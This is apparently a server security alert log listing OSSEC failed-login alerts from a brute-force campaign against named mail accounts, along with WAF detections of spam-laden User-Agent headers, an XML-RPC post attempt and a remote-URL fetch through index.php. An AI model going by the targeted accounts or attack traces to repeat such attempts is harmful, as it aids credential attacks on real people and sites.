2026-07-14 03:24:50 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([1.250.67.114]) [110.25.105.240]:51588: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.80
country_id: 1733045
description:
2026-07-14 03:25:23 dovecot_login authenticator failed for H=([70.166.167.33]) [49.125.201.80]:43872: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-14 03:32:56 dovecot_login authenticator failed for H=([188.59.178.20]) [220.118.190.204]:44020: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-14 03:34:23 dovecot_login authenticator failed for H=([180.94.75.90]) [122.187.174.78]:37152: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-14 03:35:01 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([116.113.241.82]) [218.103.36.176]:51496: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
2026-07-14 03:35:03 dovecot_login authenticator failed for H=(176-111-152-79.airmax.pl) [218.150.226.139]:14614: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-14 03:35:19 dovecot_login authenticator failed for H=([174.64.199.92]) [103.117.155.41]:40508: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-14 03:35:24 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net ([103.130.207.227]) [111.70.32.10]:49435: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-14 03:35:47 dovecot_login authenticator failed for H=([119.197.41.174]) [122.186.249.6]:50356: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-14 03:37:49 dovecot_login authenticator failed for H=([49.124.153.17]) [196.189.59.226]:42398: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.166.23
country_id: 1522867
description:
2026-07-14 03:38:07 dovecot_login authenticator failed for H=92.47.166.23.dynamic.telecom.kz ([102.204.203.245]) [92.47.166.23]:59378: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.94.236.211
country_id: 6251999
description:
2026-07-14 03:40:02 dovecot_login authenticator failed for H=([120.195.50.149]) [174.94.236.211]:56037: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.83.255.228
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/vegas-diamonds\">penis girth enlargement surgery</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-14 03:40:59 dovecot_login authenticator failed for H=([188.59.178.20]) [220.118.190.204]:60655: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.156.82.197
country_id: 1861060
description:
2026-07-14 03:43:18 dovecot_login authenticator failed for H=p2715197-ipngnfx01funabasi.chiba.ocn.ne.jp (82.193.122.91.cl.ipnet.ua) [114.156.82.197]:53282: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-14 03:46:09 dovecot_login authenticator failed for H=([111.26.62.46]) [103.187.78.189]:45552: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-14 03:46:21 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([59.22.68.213]) [213.101.138.172]:53664: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.235.106
country_id: 1835841
description:
2026-07-14 03:49:04 dovecot_login authenticator failed for H=([112.26.101.76]) [125.143.235.106]:45686: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 03:49:16 dovecot_login authenticator failed for H=(ms5ccba58c.ap.nuro.jp) [196.188.93.169]:4447: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-14 03:50:56 dovecot_login authenticator failed for H=([36.135.103.30]) [217.29.30.135]:44819: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-14 03:58:58 dovecot_login authenticator failed for H=([61.97.17.208]) [222.108.109.37]:58251: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-14 03:59:15 dovecot_login authenticator failed for H=([103.111.6.121]) [27.123.111.110]:55594: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-14 04:00:18 dovecot_login authenticator failed for H=([70.166.167.60]) [103.171.39.147]:47640: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-14 03:59:53 dovecot_login authenticator failed for H=([174.77.111.220]) [144.24.209.174]:59070: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-14 04:01:10 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([112.94.5.43]) [210.0.90.82]:36726: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-14 04:01:20 dovecot_login authenticator failed for H=([61.145.181.7]) [103.207.9.154]:38342: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-14 04:04:17 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([192.252.211.196]) [220.246.40.63]:34971: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-14 04:04:58 dovecot_login authenticator failed for H=([106.0.165.219]) [27.123.111.110]:52862: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 105.113.84.205
country_id: 2328926
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:105.113.84.205||TA:105.113.84.205||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-14 04:08:01 dovecot_login authenticator failed for H=([221.193.232.168]) [197.219.208.38]:34840: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-14 04:11:42 dovecot_login authenticator failed for H=(157.ip-51-75-142.eu) [14.35.209.208]:44466: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-14 04:12:14 dovecot_login authenticator failed for H=(mx-ll-171.6.23-101.dynamic.3bb.in.th) [125.130.102.172]:56935: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.105.93.136
country_id: 1835841
description:
2026-07-14 04:12:43 dovecot_login authenticator failed for H=([98.170.57.236]) [210.105.93.136]:44941: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-14 04:15:11 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (customer.sntochl1.isp.starlink.com) [83.226.56.106]:49848: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-14 04:15:53 dovecot_login authenticator failed for H=([142.54.235.12]) [182.95.230.74]:52844: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.160.107
country_id: 99237
description:
2026-07-14 04:21:01 dovecot_plain authenticator failed for H=(progenanae) [65.20.160.107]:55582: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://leftbookmarkz.club/story.php?title=htx-khuyen-nong-3\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 04:22:36 dovecot_login authenticator failed for H=([83.220.245.109]) [196.188.93.169]:3701: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-14 04:23:09 dovecot_login authenticator failed for H=([185.15.82.135]) [152.52.240.162]:58202: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-14 04:23:15 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com (mx-ll-110-164-x-x.2s1n) [213.66.197.199]:59564: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-14 04:23:39 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([197.219.208.38]) [213.65.190.48]:59382: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-14 04:23:50 dovecot_login authenticator failed for H=(177-215-153-215.user.vivozap.com.br) [103.168.241.32]:33326: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.131.77
country_id: 1835841
description:
2026-07-14 04:24:16 dovecot_login authenticator failed for H=([197.219.228.242]) [14.49.131.77]:43478: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-14 04:24:44 dovecot_login authenticator failed for H=([84.111.136.211]) [59.145.160.134]:42370: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-14 04:24:51 dovecot_login authenticator failed for H=([210.105.93.99]) [188.122.39.33]:45012: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-14 04:25:08 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([117.191.127.86]) [221.120.57.125]:54668: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-14 04:26:36 dovecot_login authenticator failed for H=([36.137.38.119]) [103.176.160.146]:55948: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-14 04:28:18 dovecot_login authenticator failed for H=([119.200.229.33]) [27.123.111.110]:41730: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-14 04:27:55 dovecot_login authenticator failed for H=([182.95.181.50]) [121.185.89.74]:55480: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-14 04:27:59 dovecot_login authenticator failed for H=([101.13.5.55]) [85.18.115.154]:41546: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.13
country_id: 1861060
description:
2026-07-14 04:28:24 dovecot_login authenticator failed for H=([199.116.114.10]) [212.135.208.13]:42330: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.236
country_id: 2186224
description:
2026-07-14 04:29:06 dovecot_login authenticator failed for H=([119.196.213.173]) [121.73.169.236]:36802: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-14 04:36:10 dovecot_login authenticator failed for H=([61.184.128.210]) [125.19.163.58]:53622: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-14 04:36:27 dovecot_login authenticator failed for H=([183.104.220.152]) [71.12.241.225]:43584: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-14 04:36:41 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([113.193.187.154]) [110.25.105.240]:58110: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.174
country_id: 1733045
description:
2026-07-14 04:36:48 dovecot_login authenticator failed for H=([105.247.89.210]) [49.124.152.174]:60056: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-14 04:37:36 dovecot_login authenticator failed for H=([89.218.247.234]) [210.177.143.61]:48088: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-14 04:38:28 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([207.254.29.22]) [111.70.32.11]:47381: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-14 04:41:16 dovecot_login authenticator failed for H=([142.54.235.12]) [119.92.76.210]:58168: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 04:44:43 dovecot_login authenticator failed for H=([192.111.138.28]) [182.78.86.62]:34122: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-14 04:45:07 dovecot_login authenticator failed for H=([202.111.183.254]) [171.244.60.35]:64737: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-14 04:45:31 dovecot_login authenticator failed for H=([49.124.131.248]) [89.218.247.234]:49150: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-14 04:48:03 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [188.122.37.97]:56382: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.198.108.48
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://finance.minyanville.com/minyanville/article/abnewswire-2026-4-9-paver-cleaning-services-enhance-outdoor-surface-maintenance-by-paver-cleaning-and-sealing-pros-of-dix-hills-in-dix-hills-new-york\">Paver Cleaning & Sealing Pros of Dix Hills</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-14 04:52:16 dovecot_login authenticator failed for H=([77.41.156.64]) [27.110.176.222]:48950: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.195.163
country_id: 1835841
description:
2026-07-14 04:52:35 dovecot_login authenticator failed for H=([98.170.57.251]) [124.153.195.163]:52151: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 43.205.89.88
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://codeblackreport.com/prediksi-gwangju-morning-minggu-28-desember-2025/\">Keluaran Togel Hongkong Pools</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-14 04:57:30 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [128.134.83.141]:39588: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-14 04:58:19 dovecot_login authenticator failed for H=([74.119.144.57]) [65.20.179.251]:59688: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.115
country_id: 6252001
description:
2026-07-14 04:58:36 dovecot_login authenticator failed for H=wsip-72-215-46-115.pn.at.cox.net ([68.71.253.70]) [72.215.46.115]:46522: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 04:59:15 dovecot_login authenticator failed for H=(c83-255-209-245.bredband.tele2.se) [196.188.93.169]:4454: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-14 04:59:38 dovecot_login authenticator failed for H=(partner.filtersite.shop) [62.164.148.87]:60598: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-14 05:01:01 dovecot_login authenticator failed for H=(111-70-32-5.emome-ip.hinet.net) [125.130.102.172]:55603: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-14 05:01:20 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [182.95.106.118]:46404: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-14 05:02:55 dovecot_login authenticator failed for H=(host.46-183-135-88.broadband.redcom.ru) [152.52.198.42]:57068: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-14 05:03:28 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [136.56.34.147]:50398: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-14 05:03:41 dovecot_login authenticator failed for H=([142.54.231.33]) [200.106.49.149]:47164: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.198.159
country_id: 99237
description:
2026-07-14 05:03:57 dovecot_login authenticator failed for H=([196.191.142.67]) [65.20.198.159]:59644: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-14 05:04:26 dovecot_login authenticator failed for H=([199.187.210.51]) [202.62.88.25]:42998: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.145.62.32
country_id: 6252001
description:
2026-07-14 05:05:40 dovecot_login authenticator failed for H=([98.170.57.236]) [47.145.62.32]:55172: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 169.224.36.229
country_id: 99237
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-14 05:06:11 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([184.185.2.1]) [213.65.190.48]:55074: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-07-14 05:05:24 dovecot_login authenticator failed for H=([116.230.66.189]) [101.13.4.128]:41468: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-14 05:05:39 dovecot_login authenticator failed for H=([104.37.132.51]) [152.52.192.162]:46344: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-07-14 05:06:41 dovecot_login authenticator failed for H=([106.63.13.176]) [122.187.234.54]:48891: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-14 05:08:08 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([142.54.231.33]) [71.229.1.186]:32872: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-14 05:08:23 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([223.105.71.106]) [83.166.50.15]:57773: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-14 05:08:42 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([174.64.199.77]) [111.70.33.194]:57878: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 149.50.211.156
country_id: 1880251
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25062.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bb0883f36cfaef44e08d55c452b899ad9163ad8e||Title:0x3b24345e||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-14 05:19:45 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([59.37.13.66]) [221.120.4.61]:33352: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-14 05:21:16 dovecot_login authenticator failed for H=([101.13.5.30]) [128.185.33.241]:40338: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-14 05:23:20 dovecot_login authenticator failed for H=(mx-ll-223.206.73-179.dynamic.3bb.in.th) [182.78.112.174]:38512: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-14 05:24:01 dovecot_login authenticator failed for H=(111-70-32-10.emome-ip.hinet.net) [182.95.189.66]:52628: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.207
country_id: 1668284
description:
2026-07-14 05:25:48 dovecot_login authenticator failed for H=111-70-32-207.emome-ip.hinet.net ([116.171.27.248]) [111.70.32.207]:55812: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-14 05:28:34 dovecot_login authenticator failed for H=([192.252.211.196]) [103.168.241.32]:55358: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-14 05:28:45 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [196.190.180.18]:54360: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-14 05:29:13 dovecot_login authenticator failed for H=(125-209-87-78.multi.net.pk) [61.74.224.30]:63213: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-14 05:28:30 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([49.124.151.45]) [80.223.200.184]:36884: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-14 05:29:59 dovecot_login authenticator failed for H=([94.97.85.162]) [122.186.202.58]:60656: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-14 05:29:26 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([59.12.212.38]) [83.191.181.23]:60446: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-14 05:29:46 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net (95.105.52.153.static.str.ufanet.ru) [50.121.186.125]:57744: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-14 05:29:43 dovecot_login authenticator failed for H=([125.139.124.120]) [74.209.100.246]:48916: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.17.8
country_id: 3017382
description:
